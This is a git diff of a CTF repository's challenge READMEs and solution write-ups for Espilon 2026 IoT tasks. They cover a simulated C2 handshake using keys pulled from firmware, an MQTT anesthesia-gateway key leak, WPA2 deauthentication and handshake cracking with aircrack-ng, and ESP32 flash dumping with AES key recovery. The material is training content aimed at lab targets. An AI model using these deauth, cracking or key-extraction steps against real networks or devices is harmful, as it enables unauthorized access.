- **Hidden partitions**: Not all storage areas appear in standard partition tables — manual probing or SFDP analysis reveals them
|
||||
- **Data at rest encryption**: Simple XOR protection on stored secrets
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | Intro |
|
||||
| Difficulty | Medium |
|
||||
| Points | 80 |
|
||||
| Points | 400 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,135 +0,0 @@
|
||||
# The Wired — Writeup
|
||||
|
||||
**Difficulty:** Medium | **Flag:** `ESPILON{th3_w1r3d_kn0ws_wh0_y0u_4r3}`
|
||||
|
||||
## Recon
|
||||
|
||||
Connect to the Navi shell on port 1337 and start reading.
|
||||
|
||||
```bash
|
||||
nc <HOST> 1337
|
||||
cat README_FIRST.txt
|
||||
ls -la
|
||||
```
|
||||
|
||||
Directories: `notes/`, `comms/`, `dumps/`, `logs/`, `tools/`, `journal/`, `wired/`
|
||||
|
||||
The key files to understand the protocol:
|
||||
|
||||
- `notes/protocol.txt` — frame format is `base64( ChaCha20( protobuf(AgentMessage) ) ) + '\n'`
|
||||
- `notes/derivation.txt` — ChaCha20 with 32-byte key, 12-byte nonce, counter=0
|
||||
- `notes/hardening.txt` — keys are baked into the firmware ELF. **WARNING:** there's a dev key at the bottom (`Xt9Lm2Qw7KjP4rNvB8hYc3fZ0dAeU6sG`) — it's a trap planted by "the other Lain". The server drops you silently if you use it. The journal entry from Jan 17 warns about this.
|
||||
|
||||
## Identify the target
|
||||
|
||||
`notes/eiri.txt` and `tools/devices.json` tell you the interesting device is `ce4f626b` — alias "Eiri_Master", role `root-coordinator`, status `quarantine`. Regular devices just get a `heartbeat` back. This one triggers the flag path.
|
||||
|
||||
## Understand the handshake
|
||||
|
||||
`comms/msg_ops_20260114.txt` describes the 2-step session:
|
||||
|
||||
1. Agent sends `AGENT_INFO` → coordinator replies `session_init` with a random token in `argv[0]`
|
||||
2. Agent sends `AGENT_CMD_RESULT` with `request_id` = that token → coordinator replies with the flag
|
||||
|
||||
`comms/msg_lain_20260116.txt` confirms both messages have to go on the **same TCP connection**. Token is per-connection, can't reuse it.
|
||||
|
||||
## Extract the key
|
||||
|
||||
Any device ELF works since they all share the same key (see `notes/changelog.txt` about v0.9.0 migration).
|
||||
|
||||
```bash
|
||||
strings dumps/7f3c9a12/bot-lwip.elf | grep -E '^[A-Za-z0-9]{32}$'
|
||||
strings dumps/7f3c9a12/bot-lwip.elf | grep -E '^[A-Za-z0-9]{12}$'
|
||||
```
|
||||
|
||||
- Key (32 bytes): `7Kj2mPx9LwR4nQvT1hYc3bFz8dAeU6sG`
|
||||
- Nonce (12 bytes): `X3kW7nR9mPq2`
|
||||
|
||||
Alternative: Ghidra → find `chacha_cd()` in crypto.c → follow xrefs to `CONFIG_CRYPTO_KEY` / `CONFIG_CRYPTO_NONCE`.
|
||||
|
||||
## Exploit
|
||||
|
||||
Single TCP connection to port 2626.
|
||||
|
||||
**MSG1 — AGENT_INFO:**
|
||||
```
|
||||
AgentMessage {
|
||||
device_id = "ce4f626b"
|
||||
type = 0 (INFO)
|
||||
payload = b"ce4f626b"
|
||||
}
|
||||
```
|
||||
|
||||
Serialize as protobuf → ChaCha20 encrypt → base64 + `\n` → send.
|
||||
|
||||
Server replies with:
|
||||
```
|
||||
Command {
|
||||
command_name = "session_init"
|
||||
argv = ["<hex_token>"]
|
||||
request_id = "handshake"
|
||||
}
|
||||
```
|
||||
|
||||
Decrypt + decode the response, grab the token from `argv[0]`.
|
||||
|
||||
**MSG2 — CMD_RESULT:**
|
||||
```
|
||||
AgentMessage {
|
||||
device_id = "ce4f626b"
|
||||
type = 4 (CMD_RESULT)
|
||||
request_id = "<token>"
|
||||
payload = b"ce4f626b"
|
||||
}
|
||||
```
|
||||
|
||||
Same connection. Encrypt, encode, send.
|
||||
|
||||
Server replies:
|
||||
```
|
||||
Command {
|
||||
command_name = "flag"
|
||||
argv = ["ESPILON{th3_w1r3d_kn0ws_wh0_y0u_4r3}"]
|
||||
}
|
||||
```
|
||||
|
||||
## Things that will get you dropped
|
||||
|
||||
- Using the fake dev key from `hardening.txt`
|
||||
- Sending a device_id not in the allowlist
|
||||
- Using a valid but non-master device (you get `heartbeat`, not `flag`)
|
||||
- Sending MSG2 on a new connection (token is tied to the session)
|
||||
- Wrong `type` in MSG2 (needs to be `4`)
|
||||
- Wrong `request_id` (needs to match the token exactly)
|
||||
|
||||
## Solver
|
||||
|
||||
```bash
|
||||
python3 solve.py --host <HOST> --port 2626
|
||||
```
|
||||
|
||||
## Protobuf reference
|
||||
|
||||
The `.proto` is at `wired/registry/c2.proto` on the target:
|
||||
|
||||
```protobuf
|
||||
message AgentMessage {
|
||||
string device_id = 1;
|
||||
AgentMsgType type = 2;
|
||||
string source = 3;
|
||||
string request_id = 4;
|
||||
bytes payload = 5;
|
||||
bool eof = 6;
|
||||
}
|
||||
|
||||
message Command {
|
||||
string device_id = 1;
|
||||
string command_name = 2;
|
||||
repeated string argv = 3;
|
||||
string request_id = 4;
|
||||
}
|
||||
```
|
||||
|
||||
No need for `protoc` — manual varint encoding works fine. See `solve.py`.
|
||||
|
||||
Author: Eun0us
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | IoT |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 495 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,72 +0,0 @@
|
||||
# Anesthesia Gateway -- Solution
|
||||
|
||||
## Overview
|
||||
MQTT broker simulating an anesthesia monitoring gateway. A debug topic leaks
|
||||
an encoded firmware blob. Reverse the encoding to extract a maintenance key
|
||||
and publish it to unlock the flag.
|
||||
|
||||
## Steps
|
||||
|
||||
### 1. Connect and discover topics
|
||||
```bash
|
||||
mosquitto_sub -h HOST -t "sainte-mika/#" -v
|
||||
```
|
||||
|
||||
Topics discovered:
|
||||
- `sainte-mika/or13/vitals` -- patient vital signs (JSON)
|
||||
- `sainte-mika/or13/sevoflurane` -- anesthetic gas data
|
||||
- `sainte-mika/or13/propofol` -- infusion pump data
|
||||
- `sainte-mika/or13/ventilator` -- mechanical ventilator data
|
||||
- `sainte-mika/or13/alarms` -- alarm status (note: `"network": "WIRED-MED"`)
|
||||
- `sainte-mika/or13/debug/firmware` -- **base64-encoded blob (every 45s)**
|
||||
|
||||
### 2. Capture firmware blob
|
||||
Grab the base64 string from `debug/firmware`.
|
||||
|
||||
### 3. Decode the blob
|
||||
The encoding chain is: JSON -> zlib -> XOR("WIRED") -> base64
|
||||
|
||||
To reverse:
|
||||
```python
|
||||
import base64, zlib
|
||||
|
||||
blob = "<base64 string from MQTT>"
|
||||
raw = base64.b64decode(blob)
|
||||
|
||||
# XOR with key "WIRED" (hint: WIRED-MED appears in alarm data)
|
||||
key = b"WIRED"
|
||||
xored = bytes(b ^ key[i % len(key)] for i, b in enumerate(raw))
|
||||
|
||||
# After XOR, bytes start with 78 9C (zlib magic)
|
||||
config = zlib.decompress(xored)
|
||||
print(config.decode())
|
||||
```
|
||||
|
||||
### 4. Extract maintenance key
|
||||
The decoded JSON contains:
|
||||
```json
|
||||
{
|
||||
"maintenance_key": "N4V1-C4R3-0R13-L41N"
|
||||
}
|
||||
```
|
||||
|
||||
### 5. Publish key and get flag
|
||||
```bash
|
||||
mosquitto_pub -h HOST -t "sainte-mika/or13/maintenance/unlock" -m "N4V1-C4R3-0R13-L41N"
|
||||
```
|
||||
|
||||
Subscribe to the flag topic:
|
||||
```bash
|
||||
mosquitto_sub -h HOST -t "sainte-mika/or13/maintenance/flag"
|
||||
```
|
||||
|
||||
### Key insights
|
||||
- The XOR key "WIRED" is discoverable from the alarm topic which includes `"network": "WIRED-MED"`
|
||||
- After XOR decryption, the zlib magic bytes `78 9C` confirm the correct key
|
||||
- The maintenance key "N4V1-C4R3-0R13-L41N" = "Navi Care OR13 Lain" in leetspeak
|
||||
|
||||
## Flag
|
||||
`ESPILON{mQtt_g4tw4y_4n3sth3s14}`
|
||||
|
||||
## Author
|
||||
Eun0us
|
||||
121
IoT/Cr4cK_w1f1/README.md
Normal file
@ -0,0 +1,121 @@
|
||||
# Cr4cK_W1F1
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Category | IoT |
|
||||
| Difficulty | Medium |
|
||||
| Points | TBD |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
You recover a UART access on a red team WiFi sniffer tool.
|
||||
Analyze the captured data to recover the WiFi password, then connect to the network and
|
||||
retrieve the flag.
|
||||
|
||||
- TX (read UART): port 1111
|
||||
- RX (write UART): port 2222
|
||||
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
Use the sniffer to force a WPA2 4-way handshake capture, extract the PCAP from the UART
|
||||
output (base64-encoded), crack the handshake with `aircrack-ng` and `rockyou.txt` to find
|
||||
the passphrase `sunshine`, then connect and read the flag.
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| `nc` | Connect to UART TX/RX ports |
|
||||
| `base64` | Decode the PCAP blob |
|
||||
| `aircrack-ng` | Crack WPA2 handshake |
|
||||
| `rockyou.txt` | Password wordlist |
|
||||
|
||||
---
|
||||
|
||||
## Solution
|
||||

|
||||
|
||||
|
||||
### Step 1 — Open both UART channels
|
||||
|
||||
```bash
|
||||
# Terminal 1 — TX (read output)
|
||||
nc <host> 1111
|
||||
|
||||
# Terminal 2 — RX (send commands)
|
||||
nc <host> 2222
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Step 2 — Start the sniffer and force a deauth
|
||||
|
||||
In the RX terminal:
|
||||
|
||||
```text
|
||||
sniffer start
|
||||
deauth TestNet 02:00:00:aa:00:01
|
||||
sniffer stop
|
||||
```
|
||||
|
||||
The deauthentication forces the target client to reconnect and redo the WPA2 4-way handshake.
|
||||
|
||||
### Step 3 — Extract the PCAP from TX
|
||||
|
||||
On the TX terminal, output appears between markers:
|
||||
|
||||
```text
|
||||
PCAP_BASE64_BEGIN
|
||||
<base64 data>
|
||||
PCAP_BASE64_END
|
||||
```
|
||||
|
||||
Copy the base64 lines to a file and decode:
|
||||
|
||||
```bash
|
||||
base64 -d handshake.b64 > handshake.pcap
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Step 4 — Crack the WPA2 handshake
|
||||
|
||||
```bash
|
||||
aircrack-ng -w rockyou.txt -b 02:00:00:10:00:01 handshake.pcap
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
KEY FOUND! [ sunshine ]
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Step 5 — Connect and read the flag
|
||||
|
||||
In the RX terminal:
|
||||
|
||||
```text
|
||||
connect TestNet sunshine
|
||||
cat /flag.txt
|
||||
```
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## Flag
|
||||
|
||||
`CTF{CR4CK_W1F1_EXAMPLE}`
|
||||
|
||||
> Note: This challenge was still being finalized at time of writing. The flag above is
|
||||
> a placeholder; the real flag will be updated before deployment.
|
||||
133
IoT/Lain_Br34kC0r3/README.md
Executable file
@ -0,0 +1,133 @@
|
||||
# Lain_Br34kC0r3
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Category | IoT |
|
||||
| Difficulty | Medium |
|
||||
| Points | 500 |
|
||||
| Author | neverhack |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
This challenge emulates a UART interface on a Lain router.
|
||||
Open both connections, interact as if it was real hardware.
|
||||
|
||||
- **TX**: Read only
|
||||
- **RX**: Write only
|
||||
|
||||
Maybe Lain can help you?
|
||||
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
Connect to the split UART interface. Use `settings` to get the XOR key, `dump_bin` to get
|
||||
the obfuscated firmware, de-obfuscate to extract the AES key and IV from `.rodata`, then
|
||||
use `flag` to get the ciphertext and AES-CBC decrypt it to recover the flag.
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| `nc` | Split UART connection |
|
||||
| Python 3 + `pycryptodome` | XOR decoding and AES-CBC decryption |
|
||||
| `strings` / Ghidra | Static analysis of deobfuscated firmware |
|
||||
|
||||
---
|
||||
|
||||
## Solution
|
||||
|
||||
### Step 1 — Connect
|
||||
|
||||
```bash
|
||||
# Terminal 1 — TX (read output)
|
||||
nc <host> 1111
|
||||
|
||||
# Terminal 2 — RX (send commands)
|
||||
nc <host> 2222
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Step 2 — List available commands
|
||||
|
||||
```text
|
||||
help
|
||||
```
|
||||
|
||||
Commands available: `help`, `flag`, `dump_bin`, `settings`, `whoami`, `show config`
|
||||
|
||||
### Step 3 — Get the XOR key
|
||||
|
||||
```text
|
||||
settings
|
||||
```
|
||||
|
||||
Returns the XOR key used to obfuscate the firmware dump.
|
||||
|
||||

|
||||
|
||||
### Step 4 — Dump and deobfuscate the firmware
|
||||
|
||||
```text
|
||||
dump_bin
|
||||
```
|
||||
|
||||
Save the hex output from TX, then deobfuscate:
|
||||
|
||||
```python
|
||||
key = bytes.fromhex("<key_from_settings>")
|
||||
firmware_enc = bytes.fromhex("<dump_from_dump_bin>")
|
||||
firmware = bytes(b ^ key[i % len(key)] for i, b in enumerate(firmware_enc))
|
||||
with open("firmware.bin", "wb") as f:
|
||||
f.write(firmware)
|
||||
```
|
||||
|
||||
### Step 5 — Extract AES key and IV from firmware
|
||||
|
||||
Quick method:
|
||||
|
||||
```bash
|
||||
strings -n 10 firmware.bin | grep -iE "key|iv|aes|lain"
|
||||
```
|
||||
|
||||
Or open in Ghidra with Xtensa architecture, navigate to `app_main()` → AES setup
|
||||
functions → locate `therapy_aes_key` and associated IV in `.rodata`.
|
||||
|
||||

|
||||
|
||||
### Step 6 — Get the encrypted flag
|
||||
|
||||
```text
|
||||
flag
|
||||
```
|
||||
|
||||
Returns the ciphertext as a hex string on TX.
|
||||
|
||||
### Step 7 — Decrypt the flag
|
||||
|
||||
```python
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import unpad
|
||||
|
||||
key = b"<key_from_firmware>" # 16 or 32 bytes
|
||||
iv = b"<iv_from_firmware>" # 16 bytes
|
||||
ciphertext = bytes.fromhex("<hex_from_flag_command>")
|
||||
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
|
||||
print(plaintext.decode())
|
||||
```
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## Flag
|
||||
|
||||
`ECW{LAIN_Br34k_CryPT0}`
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | IoT |
|
||||
| Difficulty | Hard |
|
||||
| Points | 150 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,149 +0,0 @@
|
||||
# LAIN_Br34kC0r3 V2 — Solution
|
||||
|
||||
**Chapitre 2 : Core Analysis** | Difficulté : Hard | Flag : `ESPILON{3sp32_fl4sh_dump_r3v3rs3d}`
|
||||
|
||||
## Overview
|
||||
|
||||
Ce challenge fournit un dump flash complet d'un ESP32 (bootloader + partition table + NVS + firmware applicatif). Le joueur doit extraire le firmware, le reverse engineer pour trouver les clés AES-256-CBC, puis déchiffrer le flag stocké dans la NVS.
|
||||
|
||||
## Étape 1 — Récupérer le dump flash
|
||||
|
||||
```bash
|
||||
# Terminal 1 : TX (lecture)
|
||||
nc <host> 1111 | tee flash_output.txt
|
||||
|
||||
# Terminal 2 : RX (écriture)
|
||||
echo "dump_flash" | nc <host> 2222
|
||||
```
|
||||
|
||||
Le dump est envoyé en base64. Extraire et décoder :
|
||||
|
||||
```python
|
||||
import base64
|
||||
|
||||
with open("flash_output.txt") as f:
|
||||
lines = f.readlines()
|
||||
|
||||
# Extract base64 lines between markers
|
||||
b64_data = ""
|
||||
capture = False
|
||||
for line in lines:
|
||||
if "BEGIN FLASH DUMP" in line:
|
||||
capture = True
|
||||
continue
|
||||
if "END FLASH DUMP" in line:
|
||||
break
|
||||
if capture:
|
||||
b64_data += line.strip()
|
||||
|
||||
flash = base64.b64decode(b64_data)
|
||||
with open("flash_dump.bin", "wb") as f:
|
||||
f.write(flash)
|
||||
```
|
||||
|
||||
## Étape 2 — Analyse du dump flash
|
||||
|
||||
```bash
|
||||
# Identifier les composants
|
||||
binwalk flash_dump.bin
|
||||
|
||||
# Ou utiliser esptool
|
||||
esptool.py image_info --version 2 flash_dump.bin
|
||||
```
|
||||
|
||||
Structure identifiée :
|
||||
```
|
||||
0x0000 Padding (0xFF)
|
||||
0x1000 ESP32 bootloader (magic 0xE9)
|
||||
0x8000 Partition table
|
||||
0x9000 NVS partition (24 KiB)
|
||||
0xF000 PHY init data
|
||||
0x10000 Application firmware (magic 0xE9)
|
||||
```
|
||||
|
||||
## Étape 3 — Extraire le firmware applicatif
|
||||
|
||||
```bash
|
||||
# Extraire l'app à partir de l'offset 0x10000
|
||||
dd if=flash_dump.bin of=app_firmware.bin bs=1 skip=$((0x10000))
|
||||
|
||||
# Vérifier
|
||||
file app_firmware.bin
|
||||
# Devrait montrer un binaire ESP32 ou "data"
|
||||
|
||||
hexdump -C app_firmware.bin | head -5
|
||||
# Premier byte devrait être 0xE9 (ESP image magic)
|
||||
```
|
||||
|
||||
## Étape 4 — Reverse Engineering
|
||||
|
||||
### Méthode rapide : strings
|
||||
|
||||
```bash
|
||||
strings -n 10 app_firmware.bin | grep -i "key\|aes\|iv\|wired\|therapy"
|
||||
```
|
||||
|
||||
Résultats attendus :
|
||||
```
|
||||
W1R3D_M3D_TH3R4PY_K3Y_2024_L41N! # AES-256 key (32 bytes)
|
||||
L41N_WIRED_IV_01 # AES IV (16 bytes)
|
||||
WIRED-MED Therapy Module
|
||||
```
|
||||
|
||||
### Méthode complète : Ghidra
|
||||
|
||||
1. Ouvrir Ghidra, importer `app_firmware.bin` (ou mieux, l'ELF si disponible)
|
||||
2. Architecture : **Xtensa:LE:32:default**
|
||||
3. Analyser → chercher `app_main` dans les symboles
|
||||
4. Suivre les appels : `app_main()` → `wired_med_crypto_init()` → `mbedtls_aes_setkey_enc()`
|
||||
5. Les arguments de `mbedtls_aes_setkey_enc()` pointent vers `therapy_aes_key` dans `.rodata`
|
||||
6. Extraire les 32 bytes de la clé et les 16 bytes de l'IV
|
||||
|
||||
## Étape 5 — Récupérer le flag chiffré
|
||||
|
||||
### Option A : Commande directe
|
||||
```
|
||||
encrypted_data
|
||||
```
|
||||
→ Retourne le ciphertext en hex
|
||||
|
||||
### Option B : Parser la NVS
|
||||
```bash
|
||||
# Extraire la partition NVS
|
||||
dd if=flash_dump.bin of=nvs_dump.bin bs=1 skip=$((0x9000)) count=$((0x6000))
|
||||
|
||||
# Utiliser nvs_tool.py de ESP-IDF (si disponible)
|
||||
python3 $IDF_PATH/components/nvs_flash/nvs_partition_tool/nvs_tool.py --dump nvs_dump.bin
|
||||
```
|
||||
|
||||
Chercher l'entrée : namespace `wired_med`, key `encrypted_flag`, type blob
|
||||
|
||||
## Étape 6 — Déchiffrement AES-256-CBC
|
||||
|
||||
```python
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import unpad
|
||||
|
||||
key = b"W1R3D_M3D_TH3R4PY_K3Y_2024_L41N!" # 32 bytes
|
||||
iv = b"L41N_WIRED_IV_01" # 16 bytes
|
||||
|
||||
# Ciphertext from encrypted_data command or NVS
|
||||
ciphertext = bytes.fromhex("...")
|
||||
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
|
||||
print(plaintext.decode())
|
||||
# ESPILON{3sp32_fl4sh_dump_r3v3rs3d}
|
||||
```
|
||||
|
||||
## Résumé de la chaîne d'attaque
|
||||
|
||||
```
|
||||
dump_flash → base64 decode → binwalk → extract app @ 0x10000
|
||||
→ strings/Ghidra (Xtensa RE) → find AES key + IV in .rodata
|
||||
→ encrypted_data (or NVS parse) → AES-256-CBC decrypt → FLAG
|
||||
```
|
||||
|
||||
## Script de solve complet
|
||||
|
||||
Voir `solve/solve.py`
|
||||
229
IoT/Lain_VS_Knights/README.md
Executable file
@ -0,0 +1,229 @@
|
||||
# Lain VS Knights
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Category | IoT |
|
||||
| Difficulty | Hard |
|
||||
| Points | — |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
Welcome to The Wired: a digital labyrinth of over a thousand mysterious nodes, where only
|
||||
seven are protected by the legendary Knights.
|
||||
|
||||
You are **Lain**. Your mission: navigate this cryptic UART interface, explore The Wired,
|
||||
and uncover the locations of the hidden Knights. Purge each Knight.
|
||||
|
||||
Each defeated Knight grants you a fragment. Collect all seven to unlock the final gateway:
|
||||
**EIRI MASAMI** — the master of The Wired.
|
||||
|
||||
Seize root access. Become the new legend of The Wired.
|
||||
|
||||
- **TX (port 1111)**: Read only
|
||||
- **RX (port 2222)**: Write only
|
||||
|
||||
Format: **ESPILON{flag}**
|
||||
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
1200 nodes, 7 Knights each at a random node, 1 Founder (Eiri). Scan all nodes to find them.
|
||||
Each Knight presents a different hardware/protocol puzzle (I2C collision, CAN CRC, SPI parity,
|
||||
SRAM write, logic AND, fuse bits, fault injection). Collect the 7 fragments, concatenate them
|
||||
in the order Lain specifies, SHA-256 hash, take first 24 hex chars, submit to the Founder for
|
||||
root access and the flag.
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| `nc` | Split UART connection |
|
||||
| Python 3 | Node scanner, puzzle solvers, exploit script |
|
||||
| `hashlib` | SHA-256 for exploit hash computation |
|
||||
|
||||
---
|
||||
|
||||
## Solution
|
||||
|
||||
### Step 1 — Connect and map the network
|
||||
|
||||
```bash
|
||||
# Terminal 1 — TX
|
||||
nc <host> 1111
|
||||
|
||||
# Terminal 2 — RX
|
||||
nc <host> 2222
|
||||
```
|
||||
|
||||
```text
|
||||
bus.map
|
||||
```
|
||||
|
||||
Returns: `1200 nodes total — 7 knights active.`
|
||||
|
||||
Scan all nodes to locate the Knights and Founder (automated script recommended):
|
||||
|
||||
```python
|
||||
import socket, time, re
|
||||
|
||||
def scan_nodes(host, tx_port=1111, rx_port=2222, node_min=1, node_max=1200):
|
||||
tx = socket.socket(); tx.connect((host, tx_port))
|
||||
rx = socket.socket(); rx.connect((host, rx_port))
|
||||
found = []
|
||||
for nid in range(node_min, node_max + 1):
|
||||
rx.sendall(f"bus.connect @node:{nid:04d}\n".encode())
|
||||
time.sleep(0.08)
|
||||
out = tx.recv(4096).decode(errors="ignore")
|
||||
if re.search(r"KNIGHT|FOUNDER|EIRI", out, re.I):
|
||||
kind = "knight" if "KNIGHT" in out.upper() else "founder"
|
||||
found.append((nid, kind))
|
||||
rx.sendall(b"bus.disconnect\n")
|
||||
return found
|
||||
```
|
||||
|
||||
Example result: Knights at nodes 0067, 0113, 0391, 0529, 0619, 0901, 0906. Founder at 0311.
|
||||
|
||||

|
||||
|
||||
### Step 2 — Get the assembly order from Lain nodes
|
||||
|
||||
Connect to any ordinary Lain node and call `node.truth` repeatedly until you get the order:
|
||||
|
||||
```text
|
||||
Order matters. Use: i2c_mirror, can_checksum, spi_parity, sram_write,
|
||||
logic_and, fuse_bits, fault_injection.
|
||||
Assemble fragments in this order as a single string, with no separators.
|
||||
Hash this string using SHA256. Take the first 24 hex digits.
|
||||
```
|
||||
|
||||
### Step 3 — Defeat each Knight
|
||||
|
||||
**Knight 1 — I2C_MIRROR**: Find two messages with the same byte-sum mod N.
|
||||
|
||||
```text
|
||||
node.i2c_write "0000"
|
||||
node.i2c_write "7600"
|
||||
node.submit_pair "0000" "7600"
|
||||
# fragment i2c_mirror=0000_7600
|
||||
```
|
||||
|
||||
**Knight 2 — CAN_CHECKSUM**: Find a CAN frame whose CRC8(poly=0x2F) = target.
|
||||
|
||||
```python
|
||||
def can_crc8(data, poly=0x2F):
|
||||
c = 0
|
||||
for b in data:
|
||||
c ^= b
|
||||
for _ in range(8):
|
||||
c = ((c << 1) ^ poly) & 0xFF if c & 0x80 else (c << 1) & 0xFF
|
||||
return c
|
||||
# Target 0x91 → frame bytes 0x00 0x26
|
||||
```
|
||||
|
||||
```text
|
||||
node.can_send "0026"
|
||||
# fragment can_checksum=0026
|
||||
```
|
||||
|
||||
**Knight 3 — SPI_PARITY**: Find a byte with exactly 5 bit-transitions.
|
||||
|
||||
```python
|
||||
# 0x15 = 00010101 → transitions: 5
|
||||
```
|
||||
|
||||
```text
|
||||
node.spi_write 15
|
||||
# fragment spi_parity=15
|
||||
```
|
||||
|
||||
**Knight 4 — SRAM_WRITE**: Write a value to the required address.
|
||||
|
||||
```text
|
||||
node.write 0x8b 0x89
|
||||
# fragment sram_write=8b_89
|
||||
```
|
||||
|
||||
**Knight 5 — LOGIC_AND**: Find `(a, b)` where `a & b == secret`.
|
||||
|
||||
```text
|
||||
node.and_probe 0xff 0xff # reveals secret 0xa8
|
||||
node.submit_and 0xa8 0xff
|
||||
# fragment logic_and=a8_ff
|
||||
```
|
||||
|
||||
**Knight 6 — FUSE_BITS**: Probe with full mask to reveal the fuse value.
|
||||
|
||||
```text
|
||||
node.fuse_probe 0xff # reveals 0x30
|
||||
node.submit_fuse 0x30
|
||||
# fragment fuse_bits=30
|
||||
```
|
||||
|
||||
**Knight 7 — FAULT_INJECTION**: Try all offset/mask combinations.
|
||||
|
||||
```text
|
||||
node.inject 2 0x08
|
||||
# fragment fault_injection=2_08
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Step 4 — Verify fragment collection
|
||||
|
||||
```text
|
||||
fragments
|
||||
# i2c_mirror = 0000_7600
|
||||
# can_checksum = 0026
|
||||
# spi_parity = 15
|
||||
# sram_write = 8b_89
|
||||
# logic_and = a8_ff
|
||||
# fuse_bits = 30
|
||||
# fault_injection = 2_08
|
||||
```
|
||||
|
||||
### Step 5 — Build the exploit hash
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
fragments = {
|
||||
"i2c_mirror": "0000_7600",
|
||||
"can_checksum": "0026",
|
||||
"spi_parity": "15",
|
||||
"sram_write": "8b_89",
|
||||
"logic_and": "a8_ff",
|
||||
"fuse_bits": "30",
|
||||
"fault_injection": "2_08",
|
||||
}
|
||||
order = ["i2c_mirror", "can_checksum", "spi_parity",
|
||||
"sram_write", "logic_and", "fuse_bits", "fault_injection"]
|
||||
|
||||
payload = "".join(fragments[k] for k in order)
|
||||
exploit = hashlib.sha256(payload.encode()).hexdigest()[:24]
|
||||
print(exploit) # e.g. 69b4a17e33b0cdace34b7610
|
||||
```
|
||||
|
||||
### Step 6 — Submit to the Founder and get root
|
||||
|
||||
```text
|
||||
bus.connect @node:0311
|
||||
node.exploit 69b4a17e33b0cdace34b7610
|
||||
# [ROOT] Exploit accepted! You are now root.
|
||||
node.flag
|
||||
# ESPILON{0nlY_L41N_C4N_S0lv3}
|
||||
```
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## Flag
|
||||
|
||||
`ESPILON{0nlY_L41N_C4N_S0lv3}`
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | IoT |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 100 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,87 +0,0 @@
|
||||
# Let's All Hate UART — Solution
|
||||
|
||||
**Chapitre 1 : Peripheral Access** | Difficulté : Medium-Hard | Flag : `ESPILON{u4rt_nvs_fl4sh_d1sc0v3ry}`
|
||||
|
||||
## Overview
|
||||
|
||||
Ce challenge simule l'interface UART d'un module de thérapie WIRED-MED (ESP32). Le joueur doit progresser à travers 4 couches de discovery pour extraire le flag depuis la NVS du device.
|
||||
|
||||
## Étape 1 — Connexion UART
|
||||
|
||||
Ouvrir deux terminaux :
|
||||
```bash
|
||||
# Terminal 1 : TX (lecture seule)
|
||||
nc <host> 1111
|
||||
|
||||
# Terminal 2 : RX (écriture seule)
|
||||
nc <host> 2222
|
||||
```
|
||||
|
||||
Le boot sequence ESP32 s'affiche sur TX. Lire attentivement — il contient des infos cruciales.
|
||||
|
||||
## Étape 2 — Discovery des commandes cachées
|
||||
|
||||
La commande `help` ne montre que les commandes basiques. Deux indices :
|
||||
- `info` mentionne "Debug interface: ENABLED (restricted)"
|
||||
- Envoyer `?` ou `help -a` révèle les commandes cachées : `debug`, `mem`, `nvs`, `flash`
|
||||
|
||||
## Étape 3 — Extraction du token debug depuis la RAM
|
||||
|
||||
La commande `mem read` fonctionne SANS authentification pour la plage DRAM publique `0x3FFB0000-0x3FFB1000`.
|
||||
|
||||
```
|
||||
mem read 0x3FFB0800 48
|
||||
```
|
||||
|
||||
Résultat :
|
||||
```
|
||||
3FFB0800: 57 49 52 45 44 2D 4D 45 44 00 00 00 00 00 00 00 |WIRED-MED.......|
|
||||
3FFB0810: 64 47 68 33 63 6D 46 77 65 56 39 74 4D 47 52 31 |dGgzcmFweV9tMGR1|
|
||||
